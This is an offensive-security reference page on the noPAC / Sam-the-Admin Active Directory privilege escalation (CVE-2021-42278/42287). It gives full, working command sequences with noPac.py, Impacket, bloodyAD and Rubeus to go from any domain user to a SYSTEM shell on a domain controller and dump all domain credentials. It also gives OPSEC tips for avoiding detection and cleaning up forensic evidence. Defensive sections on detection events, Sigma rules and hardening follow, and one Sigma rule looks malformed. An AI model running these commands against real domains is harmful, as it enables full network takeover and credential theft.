title: "Attack #44 β noPAC Sam-the-Admin (CVE-2021-42278 42287)" description: "noPAC (Sam-the-Admin) chains two CVEs to escalate from any domain user to Domain Admin:" category: active-directory subcategory: "Domain Controller Attacks" tags: ["active-directory", "adcs", "kerberos", "privilege-escalation"] tools: ["NetExec", "Impacket", "Mimikatz", "Rubeus", "PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Five/π΅ Attack #44 β noPAC Sam-the-Admin (CVE-2021-42278 42287).md"#
π΅ Attack #44 β noPAC / Sam-the-Admin (CVE-2021-42278/42287)#
π How It Works#
noPAC (Sam-the-Admin) chains two CVEs to escalate from any domain user to Domain Admin:
- CVE-2021-42278 β Allows a machine account's
sAMAccountNameto not end with$, mimicking user accounts - CVE-2021-42287 β KDC fails to verify PAC when a TGT is requested after renaming an account
The attacker creates a machine account, renames it to match a DC's sAMAccountName (without $), requests a TGT, renames it back, then requests a service ticket β the KDC confuses the identity and issues a ticket with DC-level privileges.
[!info]+ Technical Deep-Dive β sAMAccountName Confusion & PAC Bypass
- Step 1 β Machine Account Creation: Any domain user can create machine accounts (up to
ms-DS-MachineAccountQuota, default = 10). The attacker creates a machine accountNOPAC$- Step 2 β sAMAccountName Rename (CVE-2021-42278): The attacker renames
NOPAC$toDC01(removing the$suffix). Normally, machine account sAMAccountNames MUST end with$β this CVE bypasses that validation- Step 3 β TGT Request: The attacker requests a TGT as
DC01using the machine account's known password. The KDC issues a TGT forDC01β the account currently namedDC01- Step 4 β Rename Back: The attacker renames the account back to
NOPAC$(restoring the$)- Step 5 β S4U2Self (CVE-2021-42287): The attacker uses the TGT (issued for
DC01) to request a service ticket via S4U2Self, impersonating Administrator. The KDC looks upDC01β the renamed account is nowNOPAC$, so it doesn't match. The KDC then searches forDC01$(appending$) and finds the real Domain Controller- Result: The KDC issues a service ticket as if the request came from the real
DC01$machine account β with full DC privileges, including the ability to DCSync- The core issue is that the KDC doesn't properly validate the PAC (Privilege Attribute Certificate) when the account name doesn't match β it falls back to appending
$and finding a different account entirely
βοΈ Prerequisites#
| Requirement | Detail |
|---|---|
| Any domain user credentials | To create a machine account (needs MAQ > 0) |
| MachineAccountQuota > 0 | Default = 10; allows any domain user to create machine accounts |
| Unpatched DCs | Patched November 2021 (KB5008102 / KB5008380) |
| Network access to DC | Standard Kerberos (TCP 88) and LDAP (TCP 389/636) ports |
π οΈ Tools#
| Tool | Platform | Version | Notes |
|---|---|---|---|
| noPac.py | Linux/Python | Python 3 | Automated exploit β scan + exploit in one command |
| sam-the-admin | Linux/Python | Python 3 | Alternative automated exploit script |
| Impacket | Linux | β₯ 0.10.0 | addcomputer.py, renameMachine.py, getTGT.py, getST.py β manual exploitation |
| bloodyAD | Linux/Python | β₯ 1.0.0 | Machine account creation and sAMAccountName modification |
| NetExec | Linux | β₯ 1.1.0 | -M nopac module β scan for vulnerability |
| Rubeus | Windows (.NET) | β₯ 2.0 | asktgt + s4u for Windows-based manual exploitation |
| PowerMAD | Windows/PowerShell | Latest | New-MachineAccount β PowerShell machine account creation |
β±οΈ Time-to-Execute Estimates#
| Operation | Time | Notes |
|---|---|---|
| Vulnerability scan | 3β5 seconds | noPac.py -scan mode |
| Automated exploitation | 10β30 seconds | Full chain: create β rename β TGT β rename β S4U β shell |
| Manual exploitation (6 steps) | 60β120 seconds | Each Impacket command takes a few seconds |
| Full chain β DCSync | 30β60 seconds | From any domain user to full credential dump |
π» Full Commands#
π΅ Check Vulnerability#
# ββ noPac.py scan mode ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
python3 noPac.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 \
-dc-host DC01 --scan
# Output: "Current ms-DS-MachineAccountQuota = 10"
# Output: "DC01 is VULNERABLE" or "DC01 is NOT VULNERABLE"
# ββ NetExec noPAC module ββββββββββββββββββββββββββββββββββββββββββββββββββββββ
nxc smb DC01.corp.local -u low_user -p 'Password1' -M nopac
# Output: [+] VULNERABLE or [-] not vulnerable
# ββ Check MAQ manually ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
nxc ldap DC01.corp.local -u low_user -p 'Password1' -M maq
# Or:
bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \
get object 'DC=corp,DC=local' --attr ms-DS-MachineAccountQuota
π΄ Automated Exploitation (Recommended)#
# ββ noPac.py β fully automated β SYSTEM shell on DC ββββββββββββββββββββββββββ
python3 noPac.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 \
-dc-host DC01 -shell --impersonate Administrator -use-ldap
# Output: Interactive SYSTEM shell on DC01
# From here: secretsdump.py, mimikatz, or any post-exploitation
# ββ noPac.py β get service ticket only (no shell) ββββββββββββββββββββββββββββ
python3 noPac.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 \
-dc-host DC01 --impersonate Administrator -use-ldap -dump
# Dumps NTDS via DCSync using the impersonated Administrator ticket
# ββ sam-the-admin (alternative) βββββββββββββββββββββββββββββββββββββββββββββββ
python3 sam_the_admin.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 \
-dc-host DC01 -shell
π΄ Manual Exploitation (Step-by-Step)#
# ββ Step 1: Create machine account ββββββββββββββββββββββββββββββββββββββββββββ
addcomputer.py -computer-name 'NOPAC$' -computer-pass 'FakePass!' \
-dc-ip 10.10.10.10 corp.local/low_user:'Password1'
# Creates NOPAC$ with password FakePass!
# ββ Step 2: Rename sAMAccountName to DC01 (remove the $) βββββββββββββββββββββ
python3 renameMachine.py -current-name 'NOPAC$' -new-name 'DC01' \
corp.local/low_user:'Password1' -dc-ip 10.10.10.10
# Now the machine account's sAMAccountName = "DC01" (without $)
# ββ Step 3: Request TGT as "DC01" ββββββββββββββββββββββββββββββββββββββββββββ
getTGT.py corp.local/'DC01':'FakePass!' -dc-ip 10.10.10.10
# Outputs: DC01.ccache β TGT for the account named "DC01"
# ββ Step 4: Rename back to NOPAC$ ββββββββββββββββββββββββββββββββββββββββββββ
python3 renameMachine.py -current-name 'DC01' -new-name 'NOPAC$' \
corp.local/low_user:'Password1' -dc-ip 10.10.10.10
# sAMAccountName restored to NOPAC$ β KDC will now look for "DC01$" (the real DC)
# ββ Step 5: Request service ticket (S4U2Self) using TGT ββββββββββββββββββββββ
export KRB5CCNAME=DC01.ccache
getST.py -spn cifs/DC01.corp.local -impersonate Administrator \
-k -no-pass corp.local/'DC01' -dc-ip 10.10.10.10
# KDC confusion: looks up "DC01", finds nothing, appends "$", finds real DC01$
# Issues service ticket as Administrator for cifs/DC01.corp.local
# ββ Step 6: Use the impersonated Administrator ticket βββββββββββββββββββββββββ
export KRB5CCNAME=Administrator@cifs_DC01.corp.local@CORP.LOCAL.ccache
secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local
# Full DCSync as Administrator β extracts all domain credentials
psexec.py -k -no-pass corp.local/Administrator@DC01.corp.local
# Interactive SYSTEM shell on DC01
bloodyAD Alternative (Machine Account Creation)#
# ββ Create machine account with bloodyAD ββββββββββββββββββββββββββββββββββββββ
bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \
add computer 'NOPAC$' 'FakePass!'
# ββ Modify sAMAccountName ββββββββββββββββββββββββββββββββββββββββββββββββββββ
bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \
set object 'NOPAC$' sAMAccountName -v 'DC01'
Windows-Based (Rubeus + PowerMAD)#
# ββ Create machine account with PowerMAD ββββββββββββββββββββββββββββββββββββββ
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount NOPAC -Password $(ConvertTo-SecureString 'FakePass!' -AsPlainText -Force)
# ββ Rename (requires AD module or direct LDAP modification) ββββββββββββββββββ
Set-ADComputer NOPAC -SamAccountName 'DC01'
# ββ Request TGT with Rubeus ββββββββββββββββββββββββββββββββββββββββββββββββββ
.\Rubeus.exe asktgt /user:DC01 /password:FakePass! /domain:corp.local /dc:DC01.corp.local /nowrap
# ββ Rename back βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Set-ADComputer NOPAC -SamAccountName 'NOPAC$'
# ββ S4U with Rubeus ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
.\Rubeus.exe s4u /ticket:<base64_TGT> /impersonateuser:Administrator /msdsspn:cifs/DC01.corp.local /ptt
# Ticket injected into current session β access DC01 as Administrator
π΄ Post-Exploitation Cleanup#
# ββ Delete the machine account after exploitation βββββββββββββββββββββββββββββ
addcomputer.py -computer-name 'NOPAC$' -dc-ip 10.10.10.10 \
corp.local/Administrator:'Password1' -delete
# ββ Or via bloodyAD ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
bloodyAD -d corp.local -u Administrator -p 'Password1' --host DC01.corp.local \
remove computer 'NOPAC$'
π― OPSEC Tips#
- noPac.py automated mode is fast but creates a machine account β this is logged (Event 4741) and persists in AD unless cleaned up
- Always delete the machine account after exploitation β leftover accounts with non-standard names are forensic artifacts
- The sAMAccountName rename is the most detectable step β Event 4742 logs the attribute change; this is unusual for machine accounts
- Use
-use-ldapflag with noPac.py β some environments have issues with the default SAMR protocol for machine account operations - Manual exploitation is stealthier than automated β you control the timing between each step and can add delays
- Check MAQ before starting β if MachineAccountQuota = 0, you can't create machine accounts; look for existing machine accounts you can modify instead
- Clean up ccache files after exploitation β
DC01.ccacheand the impersonated ticket are evidence
π OpSec Ranking#
| Method | Stealth | Speed | Reliability | Notes |
|---|---|---|---|---|
| noPac.py automated | π‘ Medium | π’ Fast | π’ High | Fast but creates machine account + renames |
| Manual Impacket steps | π‘ Medium | π‘ Medium | π’ High | More control; can add delays between steps |
| Rubeus + PowerMAD (Windows) | π‘ Medium | π‘ Medium | π‘ Medium | PowerShell logging catches module loads |
| bloodyAD + Impacket | π‘ Medium | π‘ Medium | π’ High | Good alternative; fewer dependencies |
π‘οΈ Detection β Event IDs#
| Event ID | Source | What to Look For |
|---|---|---|
| 4741 | Security Log (DC) | Machine account creation β NOPAC$ or unusual naming pattern |
| 4742 | Security Log (DC) | Machine account renamed β sAMAccountName changed (critical indicator) |
| 4768 | Security Log (DC) | TGT request for account matching DC name (e.g., DC01 without $) |
| 4769 | Security Log (DC) | Service ticket request (S4U2Self) using the confused identity |
| 4743 | Security Log (DC) | Machine account deleted (cleanup by attacker) |
π Sigma Rules#
# ββ SigmaHQ β Machine Account sAMAccountName Change (noPAC Indicator) ββββββββ
title: Machine Account sAMAccountName Modification (noPAC/CVE-2021-42278)
id: c7d8e9f0-nopac-samaccountname-change
status: stable
logsource:
product: windows
service: security
detection:
selection:
EventID: 4742
keywords:
AttributeValue|contains: 'sAMAccountName'
condition: selection
level: critical
tags:
- attack.privilege_escalation
- attack.t1068
- cve.2021.42278
- cve.2021.42287
# ββ SigmaHQ β TGT Request for DC Name Without $ Suffix βββββββββββββββββββββββ
title: TGT Request for Account Matching DC Name (noPAC Indicator)
id: a1b2c3d4-nopac-tgt-dc-name
logsource:
product: windows
service: security
detection:
selection:
EventID: 4768
TargetUserName|endswith: '' # Does NOT end with $
filter_dc:
TargetUserName|endswith: '$'
filter_users:
TargetUserName|re: '^(?!DC|dc)' # Only alert on names matching DC naming patterns
condition: selection and not filter_dc
level: high
π‘οΈ EDR-Specific Detections#
[!warning]+ Microsoft Defender for Identity (MDI)
- "Suspected noPac exploitation (CVE-2021-42278/42287)" β specific detection for the sAMAccountName rename + TGT request pattern
- MDI correlates machine account creation β rename β TGT request β rename-back as a single attack sequence
- "Suspicious machine account name change" β fires on any machine account sAMAccountName modification that removes the
$suffix- MDI added noPAC detection within weeks of the CVE disclosure β high-confidence alerting
[!warning]+ CrowdStrike Falcon
- "noPAC/Sam-the-Admin Exploitation" β behavioral detection for the machine account creation β rename β Kerberos abuse chain
- Falcon detects automated exploitation tools (noPac.py, sam-the-admin) via process and network behavioral analysis
- Also detects the Kerberos ticket manipulation (S4U2Self with confused identity)
[!warning]+ Elastic Security
- Rule: "Machine Account sAMAccountName Changed" β Event 4742 correlation for sAMAccountName attribute modifications
- Rule: "TGT Requested for Account Matching Domain Controller Name" β Event 4768 correlation
- Rule: "Rapid Machine Account Create-Rename-Delete Pattern" β temporal correlation of Events 4741β4742β4743
π¬ Forensic Artifacts#
| Artifact | Location | Details |
|---|---|---|
| Machine account creation | Event 4741 | New computer account NOPAC$ with creation timestamp |
| sAMAccountName change | Event 4742 | Machine account renamed β old value (NOPAC$) β new value (DC01) |
| TGT request | Event 4768 | TGT for DC01 (without $) β matches a DC naming pattern |
| S4U2Self ticket | Event 4769 | Service ticket request impersonating Administrator |
| Machine account deletion | Event 4743 | Account deleted (cleanup β if attacker was thorough) |
| ccache files | Attacker filesystem | DC01.ccache and Administrator@cifs_*.ccache β evidence of exploitation |
| AD attribute metadata | msDS-ReplAttributeMetaData on the machine account |
sAMAccountName modification timestamps and originating DC |
| Kerberos ticket cache | DC LSASS memory | TGT and service tickets issued during the attack β volatile |
[!important]+ Windows Server Version & Patch Timeline
- November 2021 (KB5008102/KB5008380): Initial patch released β fixes both CVE-2021-42278 and CVE-2021-42287
- April 2022: Enforcement phase β KDC rejects tickets without proper PAC validation
- July 2022: Full enforcement β PAC validation required; non-patched clients may experience authentication failures
- Server 2012 R2: Vulnerable if unpatched; enforcement timeline applies
- Server 2016: Vulnerable if unpatched; same timeline
- Server 2019: Vulnerable if unpatched; same timeline
- Server 2022: Vulnerable if unpatched (even though it was released before the CVE); patches available
- Server 2025: Shipped with fixes included β NOT vulnerable; PAC validation enforced by default
- The enforcement phase is critical β even after patching, there's a grace period before the KDC rejects vulnerable tickets; check
PacRequestorEnforcementregistry key
π Hardening & Prevention#
# ββ 1. Set MachineAccountQuota to 0 (prevent machine account creation) ββββββββ
Set-ADDomain -Identity corp.local -Replace @{"ms-DS-MachineAccountQuota"="0"}
# Blocks any domain user from creating machine accounts
# β οΈ May break self-service domain join β use targeted delegation instead
# ββ 2. Apply November 2021 patches βββββββββββββββββββββββββββββββββββββββββββ
# Verify patches:
Get-HotFix | Where-Object { $_.HotFixID -match 'KB5008102|KB5008380|KB5008212' }
# If empty β DC is vulnerable
# ββ 3. Enable PAC validation enforcement ββββββββββββββββββββββββββββββββββββββ
# Registry key (post-patch):
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Kdc" `
-Name "PacRequestorEnforcement" -Value 2 -Type DWord
# Value 0 = Disabled (not recommended)
# Value 1 = Add PAC validation but don't enforce (default after Nov 2021 patch)
# Value 2 = Full enforcement (recommended β rejects tickets without PAC)
# ββ 4. Monitor machine account creation and modification ββββββββββββββββββββββ
# GPO β Computer Configuration β Windows Settings β Security Settings β
# Advanced Audit Policy β Account Management β
# β
Audit Computer Account Management: Success, Failure
# ββ 5. Alert on sAMAccountName changes for machine accounts ββββββββββββββββββ
# SIEM query (Splunk example):
# source=WinEventLog:Security EventCode=4742 TargetUserName=*$
# | search "sAMAccountName" | table _time, TargetUserName, SubjectUserName
# ββ 6. Restrict who can create machine accounts ββββββββββββββββββββββββββββββ
# If MAQ must be > 0, delegate machine account creation to specific OUs:
# Use fine-grained permissions instead of domain-wide MAQ
# ββ 7. Monitor for DC-name TGT requests from non-DC accounts βββββββββββββββββ
# Alert on Event 4768 where TargetUserName matches a DC name but lacks $
# This is the definitive noPAC exploitation indicator
# ββ 8. Deploy MDI for automated detection βββββββββββββββββββββββββββββββββββββ
# MDI has specific noPAC detection since December 2021
π§© Troubleshooting#
| Error | Cause | Fix |
|---|---|---|
Machine account creation failed β quota exceeded |
MachineAccountQuota = 0 or user already created max accounts | Check MAQ value; if 0, cannot exploit via this path β look for existing machine accounts to modify |
renameMachine.py: Access denied |
Insufficient permissions to modify the machine account | Verify the user who created the account owns it; use the same user for rename; or try bloodyAD |
getTGT: KDC_ERR_C_PRINCIPAL_UNKNOWN |
sAMAccountName rename didn't take effect yet | Wait a few seconds for AD replication; verify rename with Get-ADComputer NOPAC -Properties sAMAccountName |
getST: KRB_AP_ERR_SKEW |
Clock skew > 5 minutes | Sync time: ntpdate DC01.corp.local |
getST: KDC_ERR_BADOPTION |
S4U2Self failed β DC may be patched | Verify DC patch status; if PacRequestorEnforcement = 2, the exploit is blocked |
noPac.py -shell hangs |
Network connectivity issue or SMB blocked | Try -dump instead of -shell; or use the manual approach with getST.py + secretsdump.py |
STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT |
Using machine account TGT incorrectly | Ensure you're using the TGT from Step 3 (before rename-back) for the S4U request |
| Manual exploit: wrong ticket in Step 6 | Using TGT instead of S4U service ticket | After Step 5, export KRB5CCNAME=Administrator@cifs_DC01... (the S4U output), NOT the original TGT |
πΊοΈ MITRE ATT&CK#
| Tactic | Technique ID | Sub-technique | Procedure | APT Groups |
|---|---|---|---|---|
| Privilege Escalation | T1068 | Exploitation for Privilege Escalation | Exploit CVE-2021-42278/42287 to escalate from any domain user to DA via sAMAccountName confusion | Ransomware operators (Conti, LockBit) |
| Credential Access | T1558 | Steal or Forge Kerberos Tickets | Abuse S4U2Self with confused identity to obtain Administrator service ticket | Chained technique |
| Persistence | T1136 | .002 β Domain Account | Create machine account as part of the exploitation chain | Supporting technique |
[!tip]+ Real-World Context
fas:Lightbulb
- noPAC was weaponized within days of disclosure (December 2021) β automated exploit tools appeared on GitHub almost immediately
- Conti ransomware group incorporated noPAC into their automated domain compromise playbook as a fast-path escalation from any domain user to DA
- LockBit affiliates used noPAC in early 2022 campaigns against healthcare and manufacturing targets
- noPAC is considered one of the most impactful AD privilege escalation vulnerabilities because it requires only any domain user account β no special permissions, no ACL abuse, just standard domain authentication
π Attack Chain Context#
[noPAC] βββ Low-priv User β DA via Machine Account Naming Confusion
β
ββββ π₯ CVE-2021-42278 + CVE-2021-42287
ββββ π» Any domain user β SYSTEM shell on DC β DCSync (Attack #37)
ββββ π« DCSync KRBTGT β Golden Ticket (Attack #11)
ββββ π» DCSync Administrator β Pass-the-Hash (Attack #4)
ββββ π Alternative to: Kerberoasting (Attack #2) β cracking β DA
ββββ π Compare: Zerologon (Attack #40) β unauth; noPAC needs any domain user
ββββ π Patched Nov 2021, but legacy DCs may remain vulnerable
ββββ π Defeated by: patch, set MAQ=0, enforce PacRequestorEnforcement=2, monitor account renames
β Attack #44 β noPAC complete.
π Category 5 β DC & Replication Attacks is now COMPLETE (8/8 attacks).